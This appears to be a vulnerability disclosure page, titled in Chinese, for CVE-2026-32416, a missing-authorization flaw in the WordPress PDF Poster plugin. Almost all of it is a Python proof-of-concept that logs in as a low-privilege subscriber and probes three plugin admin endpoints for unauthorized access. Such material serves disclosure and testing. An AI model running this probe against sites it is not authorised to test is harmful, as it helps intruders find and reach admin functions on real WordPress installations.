CVE-2026-32416 WordPress PDF Poster插件缺失授权访问控制漏洞

import requests import sys # CVE-2026-32416 PoC - Missing Authorization in PDF Poster Plugin # Target: WordPress site with PDF Poster plugin <= 2.4.0 def check_vulnerability(target_url): """ Check if target is vulnerable to CVE-2026-32416 """ # Setup session with low-privilege user credentials session = requests.Session() # WordPress login endpoint login_url = f"{target_url}/wp-login.php" # Low-privilege user credentials (subscriber role) credentials = { 'log': 'testuser', 'pwd': 'testpassword', 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } try: # Login as low-privilege user login_response = session.post(login_url, data=credentials, timeout=10) if 'wordpress_logged_in' in str(session.cookies): print("[+] Successfully logged in as low-privilege user") # Try to access admin functionality (should be forbidden) admin_endpoints = [ '/wp-admin/admin.php?page=pdf-poster-settings', '/wp-admin/admin-ajax.php?action=pdf_poster_admin_action', '/wp-json/pdf-poster/v1/settings' ] for endpoint in admin_endpoints: response = session.get(f"{target_url}{endpoint}", timeout=10) # Check if access was granted (vulnerability present) if response.status_code == 200 and 'admin' in response.text.lower(): print(f"[VULNERABLE] Endpoint {endpoint} accessible without proper authorization") return True print("[-] Target does not appear to be vulnerable") return False except requests.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) > 1: target = sys.argv[1] check_vulnerability(target) else: print("Usage: python poc.py http://target.com")